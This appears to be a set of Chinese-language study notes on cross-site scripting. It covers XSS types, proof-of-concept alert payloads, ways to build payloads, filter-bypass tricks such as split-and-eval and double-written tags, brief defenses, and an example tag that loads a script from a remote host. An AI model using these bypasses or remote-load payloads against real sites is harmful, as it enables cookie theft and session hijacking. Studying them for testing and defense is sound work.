一、介绍
XSS（Cross-site Scripting，跨站脚本攻击），Owasp Top 10 2017中排名第7。主要基于JS完成恶意攻击行为。
原因：通过将精心构造的代码注入网页中，并由浏览器运行这段代码，达到攻击效果。XSS攻击的对象是用户和用户的浏览器（前端攻击）。
主要原因是没有对攻击者的输入进行严格的过滤，微博、留言板、聊天室等收集用户信息的地方都有可能被注入XSS代码。该漏洞存在于服务器中，但是执行环境在客户端浏览器，属于被动攻击。
主要危害：盗取用户账号；窃取cookie资料，冒充用户身份进入网站；劫持用户会话，执行任意操作；刷流量，弹窗广告；传播蠕虫病毒等。
主要的角色：攻击者、浏览器（与浏览器类型、不同版本有关）、受害者（用户）。
1.攻击者将恶意代码注入到服务器，用户访问该服务器网页。
2.服务器将含有恶意代码的网页响应给客户端。
3.在客户端触发恶意JS代码并执行。
4.用户被攻击。
Poc：XSS的漏洞用一段代码，验证漏洞的存在，这样的代码叫Poc（Proof of concept概念验证）。
EXP：漏洞的完整利用工具。
shellcode：利用漏洞时执行的代码。
payload：攻击载荷。在sqlmap里是攻击模板；msf里边同shellcode，建立与目标的连接。
二、验证漏洞存在的Poc
<script>alert(/xss/)</script> 弹窗（常用）
<script>confirm('xss')</script> 弹出确认框
<script>prompt('xss')</script> 弹出输入框
当在浏览器上输入以上内容后，如果有相应的弹窗，代表浏览器可解析代码，即存在XSS漏洞。于是便可以提交任意恶意JS代码。
三、XSS漏洞分类
1.反射型XSS
代码存在于web应用的参数（变量）当中。多发于搜索框。
2.储存型XSS
代码写进数据库或文件等可以永久保存的介质中。可持久攻击（每次点开页面就执行）。多发于留言板。
3.DOM型XSS
修改受害者浏览器页面的DOM树而执行（只要修改DOM树，浏览器就会重新渲染页面），并不会传到服务器上，只在浏览器上执行，因此比较难以检测。
四、XSS构造
1.利用<>构造HTML标签/<script>标签。
2.伪协议
javascript: +js代码
3.产生自己的事件
事件：如鼠标移动、键盘输入等；JS可对这些事件进行响应，通过事件触发代码。
windows 事件 对windows对象
Form事件 HTML表单内的动作
keyboard事件 键盘按键
Mouse事件 鼠标或类似动作
Media事件 多媒体触发的事件
五、XSS变形（绕过过滤）
1.大小写转换。
2.引号的使用。应对某些过滤函数。
3.左斜线（/）代替空格。
4.利用Tab或回车符。把一行隔断开。
5.对标签属性值进行编码。
6.拆分跨站。
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>
以上上三代码在执行时合并成一行，即：<script>alert(/xss/)</script>
7.双写绕过。
<scr<script> ipt>
六、XSS防御
1.使用XSS Filter（XSS过滤器），过滤客户端提交的有害信息。
（1）输入过滤：
输入是否仅包含合法字符。
输入字符串是否超过最大长度限制。
输入如果为数字，数字是否在指定的范围。
输入是否符合特殊的格式要求，如E-mail地址、IP地址等。
（2）输出编码
（3）黑白名单
七、远程调用shellcode
将JS代码单独存放在一个JS文件中（可以是互联网上任意一台主机地址），然后通过http协议远程加载该脚本。
例：<script src="http://172.168.111.132/XSS-text/XSS.js"></script>
八、终极代码：测试所有的过滤
<script script " 'OOnn>